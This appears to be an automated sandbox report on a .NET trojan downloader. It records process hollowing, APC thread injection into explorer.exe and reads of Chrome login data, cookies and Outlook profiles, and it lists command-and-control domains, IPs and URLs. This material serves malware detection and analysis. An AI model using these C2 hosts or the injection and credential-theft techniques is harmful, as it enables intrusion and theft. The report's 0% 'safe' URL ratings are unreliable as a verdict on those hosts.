Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB740D mov eax, dword ptr fs:[00000030h]	3_2_00CB740D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB740D mov eax, dword ptr fs:[00000030h]	3_2_00CB740D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB740D mov eax, dword ptr fs:[00000030h]	3_2_00CB740D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	3_2_00CA1C06
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66C0A mov eax, dword ptr fs:[00000030h]	3_2_00C66C0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66C0A mov eax, dword ptr fs:[00000030h]	3_2_00C66C0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66C0A mov eax, dword ptr fs:[00000030h]	3_2_00C66C0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66C0A mov eax, dword ptr fs:[00000030h]	3_2_00C66C0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1BC2C mov eax, dword ptr fs:[00000030h]	3_2_00C1BC2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov ecx, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	3_2_00C66DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	3_2_00CAFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	3_2_00CAFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	3_2_00CAFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	3_2_00CAFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	3_2_00BE2D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	3_2_00BE2D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	3_2_00BE2D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	3_2_00BE2D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	3_2_00BE2D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C98DF1 mov eax, dword ptr fs:[00000030h]	3_2_00C98DF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12581 mov eax, dword ptr fs:[00000030h]	3_2_00C12581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12581 mov eax, dword ptr fs:[00000030h]	3_2_00C12581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12581 mov eax, dword ptr fs:[00000030h]	3_2_00C12581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12581 mov eax, dword ptr fs:[00000030h]	3_2_00C12581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	3_2_00C1FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	3_2_00C1FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	3_2_00BFD5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	3_2_00BFD5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C135A1 mov eax, dword ptr fs:[00000030h]	3_2_00C135A1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB05AC mov eax, dword ptr fs:[00000030h]	3_2_00CB05AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB05AC mov eax, dword ptr fs:[00000030h]	3_2_00CB05AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	3_2_00C11DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	3_2_00C11DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	3_2_00C11DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C23D43 mov eax, dword ptr fs:[00000030h]	3_2_00C23D43
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C63540 mov eax, dword ptr fs:[00000030h]	3_2_00C63540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	3_2_00BF3D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEAD30 mov eax, dword ptr fs:[00000030h]	3_2_00BEAD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C07D50 mov eax, dword ptr fs:[00000030h]	3_2_00C07D50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0C577 mov eax, dword ptr fs:[00000030h]	3_2_00C0C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0C577 mov eax, dword ptr fs:[00000030h]	3_2_00C0C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C6A537 mov eax, dword ptr fs:[00000030h]	3_2_00C6A537
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAE539 mov eax, dword ptr fs:[00000030h]	3_2_00CAE539
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14D3B mov eax, dword ptr fs:[00000030h]	3_2_00C14D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14D3B mov eax, dword ptr fs:[00000030h]	3_2_00C14D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C14D3B mov eax, dword ptr fs:[00000030h]	3_2_00C14D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB8D34 mov eax, dword ptr fs:[00000030h]	3_2_00CB8D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C28EC7 mov eax, dword ptr fs:[00000030h]	3_2_00C28EC7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C9FEC0 mov eax, dword ptr fs:[00000030h]	3_2_00C9FEC0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C136CC mov eax, dword ptr fs:[00000030h]	3_2_00C136CC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB8ED6 mov eax, dword ptr fs:[00000030h]	3_2_00CB8ED6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C116E0 mov ecx, dword ptr fs:[00000030h]	3_2_00C116E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C7FE87 mov eax, dword ptr fs:[00000030h]	3_2_00C7FE87
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF76E2 mov eax, dword ptr fs:[00000030h]	3_2_00BF76E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C646A7 mov eax, dword ptr fs:[00000030h]	3_2_00C646A7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	3_2_00CB0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	3_2_00CB0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	3_2_00CB0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	3_2_00CAAE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	3_2_00CAAE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEE620 mov eax, dword ptr fs:[00000030h]	3_2_00BEE620
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	3_2_00C0AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	3_2_00C0AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	3_2_00C0AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	3_2_00C0AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	3_2_00C0AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEC600 mov eax, dword ptr fs:[00000030h]	3_2_00BEC600

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 1_2_011D9910 NtAdjustPrivilegesToken,LdrInitializeThunk,

1_2_011D9910

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Domain query: www.bloopacts.live
Source: C:\Windows\explorer.exe	Network Connect: 167.235.29.175 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.luregirl.net
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.167 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.augusta.broker
Source: C:\Windows\explorer.exe	Network Connect: 69.57.163.50 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 52.60.87.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.negerbajs.info
Source: C:\Windows\explorer.exe	Network Connect: 167.179.103.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.skyepattest.com

Sample uses process hollowing technique

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Section unmapped: C:\Windows\SysWOW64\wlanext.exe base address: 1040000

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 832008	Jump to behavior

.NET source code references suspicious native API functions

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, c77928205c79153947a3867eb1d3ae9f1.cs	Reference to suspicious API methods: ('ca32f43df15d0fcf475bd3334736bf498', 'OpenProcess@kernel32.dll'), ('ca37efa44dabb10805898a4954d1119a5', 'GetProcAddress@kernel32.dll'), ('c54b1fce306826501065cc03f5996d99c', 'GetProcAddress@kernel32.dll'), ('c46c0570566f16f7516dfae648f7934b4', 'GetProcAddress@kernel32.dll'), ('cf34e7e30997744b583b2bbfb33447166', 'GetProcAddress@kernel32.dll'), ('c8f0b49ae1e6a0350b8b1e4b3d7524958', 'LoadLibrary@kernel32.dll'), ('c5799ec05159ec4bc9e8dc79362b5dc32', 'GetProcAddress@kernel32.dll'), ('c93aeef4747029cbfcb3231026826322e', 'GetProcAddress@kernel32.dll')
Source: 0.0.SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe.150000.0.unpack, c77928205c79153947a3867eb1d3ae9f1.cs	Reference to suspicious API methods: ('ca32f43df15d0fcf475bd3334736bf498', 'OpenProcess@kernel32.dll'), ('ca37efa44dabb10805898a4954d1119a5', 'GetProcAddress@kernel32.dll'), ('c54b1fce306826501065cc03f5996d99c', 'GetProcAddress@kernel32.dll'), ('c46c0570566f16f7516dfae648f7934b4', 'GetProcAddress@kernel32.dll'), ('cf34e7e30997744b583b2bbfb33447166', 'GetProcAddress@kernel32.dll'), ('c8f0b49ae1e6a0350b8b1e4b3d7524958', 'LoadLibrary@kernel32.dll'), ('c5799ec05159ec4bc9e8dc79362b5dc32', 'GetProcAddress@kernel32.dll'), ('c93aeef4747029cbfcb3231026826322e', 'GetProcAddress@kernel32.dll')

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread register set: target process: 3528			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Thread register set: target process: 3528			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Source: explorer.exe, 00000002.00000000.350856603.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.371006560.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.318151089.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.329006218.000000000834F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.388294175.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.350856603.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.371006560.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.370658770.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.350428124.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.317683736.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000002.00000000.350856603.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.371006560.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.318151089.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: Yara match	File source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\wlanext.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Source: Yara match	File source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	812 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	812 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	115 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	10%	Metadefender		Browse
SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.0.aspnet_compiler.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://transfer.sh4	0%	URL Reputation	safe
http://www.luregirl.net/obc0/	0%	Avira URL Cloud	safe
http://www.skyepattest.com/obc0/	0%	Avira URL Cloud	safe
http://www.augusta.broker/obc0/?-Zbh98=ymzEQwRFXCPDCi+CRQJb7/Cu/KCeuwmnwGnTOFfe8Wu9oS0w58wfIKm/BUV3lMrC1MN0SKPFf3LORs93kZV7msxn8x5u5Wnabg==&C0=X82hHfExC6QP	0%	Avira URL Cloud	safe
http://www.luregirl.net/obc0/?-Zbh98=QEPeK6C4+xU1T+Zv89RyXnFvtkuTgj7CyQVR6lB98YiPEjAwu2VabqstxXG4WeniE5n6fSCr36EXz2ZAkGy4VKLMfvQeNDQPqw==&C0=X82hHfExC6QP	0%	Avira URL Cloud	safe
http://www.negerbajs.info/obc0/?-Zbh98=V2kSpVpGpqmsc+zV99/vwEPQm6AjbD0sNlmHlMce7g5oKKN3NgpJQJsKfnUSGJnURE4hRqcigFYsP8mgf+TOZi6v6bw37RqyMQ==&C0=X82hHfExC6QP	0%	Avira URL Cloud	safe
https://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ	0%	Avira URL Cloud	safe
http://www.bloopacts.live/obc0/	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/smartclick	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com/101dacs.js	0%	Avira URL Cloud	safe
www.suatvthainguyen.buzz/obc0/	0%	Avira URL Cloud	safe
http://www.dzyngiri.com	0%	Avira URL Cloud	safe
https://transfer.shD8	0%	Avira URL Cloud	safe
https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101	0%	Avira URL Cloud	safe
https://www.bandicam.com0	0%	Avira URL Cloud	safe
http://justinmezzell.com	0%	Avira URL Cloud	safe
http://www.augusta.broker/obc0/	0%	Avira URL Cloud	safe
https://park.101datacenter.net/css/vendor-1.css?20220908035046	0%	Avira URL Cloud	safe
http://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP	0%	Avira URL Cloud	safe
